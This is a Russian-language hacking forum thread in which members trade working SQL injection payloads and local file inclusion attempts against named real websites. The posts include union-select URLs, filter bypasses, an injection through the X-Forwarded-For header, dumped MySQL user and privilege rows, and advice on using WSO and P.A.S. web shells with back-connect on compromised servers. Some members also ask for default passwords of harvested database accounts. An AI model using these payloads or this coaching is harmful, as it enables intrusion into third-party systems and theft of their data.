Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Если у Вас используется php >5.3, то там данная дыра уже закрыта

    MQ=Off ??

    _ttp://mreseo.com/hosting.php?id=../123.php%00

    Так что вернёт ???

    На основании чего такие предположения ?
     
    _________________________
  2. qwwertty

    qwwertty New Member

    Joined:
    26 Dec 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    1
    Скорее всего юзер ограничен своей директорией.
    Code:
    /home/content/28/9889628/html/mreseo/
    Code:
    ?id=../123%00
    Failed opening 'pages/../123\0.php'
     
  3. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    Причем здесь ограничения в директории? Ответ уже был дан: версия php 5.3, ////4096/// не прокатит, как и %00 из-за настрек в php.ini, поэтому расширение .php вы не как не отбросите.

    ПРУФ: ?id=../index
     
  4. qwwertty

    qwwertty New Member

    Joined:
    26 Dec 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    1
    Ещё интересна возможность раскрутки такой скули.
    Code:
    _ttps://www.trimaxcloud.com/partner.php?id=7'&idsub=39'
    Кавычки экранирует, вывода нет.
    Всё что есть - раскрытие путей
    Code:
     Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\wamp2\www\partner.php on line 10
    По тому же дорку:
    Code:
    _ttp://www.tcilmanagedservices.com/partner.php?id=7'&idsub=39'
    P.S. Какой шелл лучше использовать для windows? WSO не поддерживает командную строку в вин, как я вижу.
     
    #21604 qwwertty, 19 Dec 2012
    Last edited: 20 Dec 2012
  5. zloy_fantom

    zloy_fantom New Member

    Joined:
    3 Dec 2012
    Messages:
    46
    Likes Received:
    0
    Reputations:
    0
    Вот нашел скрипт, позволяющий, как мне кажется то-ли залить файл на сервер, то-ли запустить скрипт.
    Но моих познаний явно не хватает для оценки его возможностей:
    Code:
    <?php
    	loggedinorreturn();
    
    	if (!isset ($_POST['title']))
        
    {
    		if ($CURUSER['cs_last_type'] > 0)
    
    			$c = '<script> $(function() { $("select[name=type]").val ('.$CURUSER['cs_last_type'].') });
     </script>';
    
    
    		$c .='<form method="POST">
    
    				Заголовок:
    
    				<input type="text" name="title" style="width: 100%">
    
    				Тип:
    
    				<select name="type" style="width: 100%">'.$o.'<select>
    
    				Отрывок:
    	
    			<textarea style="width: 100%;
     height: 500px;" name="text"></textarea><BR>
    
    				<input type="submit" value="Сохранить">
    
    			</form>';
    
    		$title = 'Добавить код';
    
    	}
    	else
    	{
    		$text  = $_POST['text'];
    
    		$title = strip_tags ($_POST['title']);
    
    		$type  = intval ($_POST['type']);
    
    		
    		include ('include/geshi.php');
    
    		$language 	= strtolower ($types[$type]);
    
    		$path 		= 'include/geshi/';
    
    		$geshi 		= new GeSHi($text, $language, $path);
    
    		$geshi->enable_line_numbers (GESHI_FANCY_LINE_NUMBERS);
    
    		$geshi->set_tab_width (4);
    
    		$hltext 	= $geshi->parse_code();
    
    		
    		sql_query ("INSERT INTO `codeshare` SET
    
    					`title`   	= ".sqlesc ($title).",
    
    					`user_id` 	= ".$CURUSER['id'].",
    
    					`type`		= ".$type.",
    
    					`size`		= ".mb_strlen ($text)."
    
    					");
    
    		$id = mysql_insert_id ();
    
    		sql_query ("INSERT INTO `codeshare_data` SET
    
    					`id`  		= ".$id.",
    
    					`text`		= ".sqlesc (htmlspecialchars ($text, ENT_COMPAT, 'UTF-8')).",
    
    					`hltext`	= ".sqlesc ($hltext)."
    
    				  ");//or die (mysql_error ());
    
    		sql_query ('UPDATE `users` SET `cs_last_type` = '.$type.' WHERE `id` = '.$CURUSER['id']);
    
    		header ('Location: /codeshare.php?id='.$id);
    
    		die ();
    	}
    ?>
    
    
    
    Если он может выполнять другой код, то мне достаточно провести инъекцию и выполнить ее используя этот скрипт.
    Подскажите, как это сделать, или укажите утилиту, которая может проанализировать код на уязвимость
    Спасибо
     
  6. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Бред пишешь.

    _ttps://www.trimaxcloud.com/partner.php?idsub=39&id=7'+and+1=2+union+select+1,@@version,3,4+--+

    _ttp://www.tcilmanagedservices.com/partner.php?idsub=39&id=7'+and+1=2+union+select+1,@@version,3,4+--+

    Тем же WSO сделай бэкконект и сиди со своей консольки.

    Ещё как альтернативу юзаю P.A.S. шелл.
     
    _________________________
    1 person likes this.
  7. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    Есть SQLi
    Code:
    http://www.lory-press.ru/showreview.php?id=9999999999999.9+union+select+1,2,3,table_name+from+information_schema.tables+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61--+
    В ответ получаю
    Не могу вкурить в чем проблема
     
  8. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    _ttp://www.lory-press.ru/showreview.php?id=1+and+1=2+union+select+1,@@version,3,4

    _ttp://www.lory-press.ru/showreview.php?id=1+and+1=2+union+select+1,@@version,3,4+from+dual+--+

    Вердикт неутешителен - фильтруется "точка"

    Замены типа %2e и %252e не помогают.
     
    _________________________
  9. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    _http://www.lory-press.ru/showreview.php?id=9999999999999.9+order+by+4+--+
    А почему тут не фильтруется?
     
  10. qwwertty

    qwwertty New Member

    Joined:
    26 Dec 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    1
    Ты не прав, скорее всего база пуста.
    В базе mysql у рута пустой пароль(локалхост), но вторая запись выглядит както странно - ни логина ни пароля, только запись "локалхост"

    В теории тут FILE_PRIV=Y но на практике /etc/passwd не читает

    Пруф>>>
    _tp://www.lory-press.ru/showreview.php?id=9999999999999.9+union+select+1,user%28%29,3,4+--+
     
    #21610 qwwertty, 20 Dec 2012
    Last edited: 20 Dec 2012
  11. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Проверил ещё раз.

    Извиняюсь, был не прав. Фильтруется не точка - фильтруются запросы из information_shema

    _ttp://www.lory-press.ru/showreview.php?id=1+and+1=2+union+select+1,@@version,3,4+from+lory.books+--+

    File_Priv=N

    _ttp://www.lory-press.ru/showreview.php?id=1+and+1=2+union+select+1,222,3,4+from+lory.books+into+outfile+'/tmp/1.txt'+--+
     
    _________________________
    #21611 BigBear, 20 Dec 2012
    Last edited: 20 Dec 2012
  12. qwwertty

    qwwertty New Member

    Joined:
    26 Dec 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    1
    И правда, но кое что есть
    Data Found: Host:User:password:Update_priv:Insert_priv:Select_priv:Create_user_priv:Grant_priv:Delete_priv:Drop_priv:Create_priv:File_priv
    localhost:root: :Y:Y:Y:Y:Y:Y:Y:Y:N

    PS чтото получше sqlihelpera для дампа есть?
     
  13. kcash

    kcash New Member

    Joined:
    6 Apr 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    господа, приветствую. Вот sqlmap'ом посотрел список юзеров mysql

    там есть помимо прочих и такие:


    [*] cacti [1]:
    [*] debian-sys-maint [1]:
    [*] f2 [1]:
    [*] frontend [1]:
    [*] replication [1]:
    [*] wizard [1]:



    есть ли для них дефалтовые пароли? Что это вообще за движок передо мной судя по набору юзеров?
     
  14. 0xd098d0b3d0

    0xd098d0b3d0 New Member

    Joined:
    26 Oct 2012
    Messages:
    54
    Likes Received:
    1
    Reputations:
    0
    http://sahyadhri.com/tourism/cities.php?id=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
    как обойти блок select ??
     
  15. kcash

    kcash New Member

    Joined:
    6 Apr 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Вопрос знатокам. Если Havij и Sqlmap не справляются, а уязвимость sql-inj есть, есть ли третий вариант?
     
  16. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    да. руки и мозг

    какой ещо движок???? ето пароли от майскул базы
     
  17. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    http://sahyadhri.com/tourism/cities.php?id=-4+union(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14)+--+
    тут фильтрация связки union+select , а не только select
     
  18. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    281
    Likes Received:
    55
    Reputations:
    20
    Нашел sqli в хттп заголовках X-Forwarded-For:
    Когда сделал запрос X-Forwarded-For: ' order by 2# мне ответили:

    General Error This account disabled

    Потом X-Forwarded-For: ' order by 3# и мне ответили:

    General Error SQL ERROR [ mysql4 ] Unknown column '3' in 'order clause' [1054]

    Я так понял, что там всего 2 поля...
    Но когда вбиваю X-Forwarded-For: ' union select 1,2# мне пишут мол

    General Error SQL ERROR [ mysql4 ] Unknown table 's' in field list [1109]

    как раскрутить? :confused:
     
  19. qwwertty

    qwwertty New Member

    Joined:
    26 Dec 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    1
    Code:
    _ttp://sahyadhri.com/tourism/cities.php?id=-4+union%28select+1,%28user%28%29%29,%28version%28%29%29,%28database%28%29%29,5,6,7,8,9,10,11,12,13,14%29+--+
     
  20. 0xd098d0b3d0

    0xd098d0b3d0 New Member

    Joined:
    26 Oct 2012
    Messages:
    54
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://sahyadhri.com/tourism/cities.php?id=-4+union%28select+1,2,3,4,5,6,7,8,9,10,11,12,13,14%29+from+information_schema.tables+--+

    А обойти 403 в таком запросе получиться??
     
Thread Status:
Not open for further replies.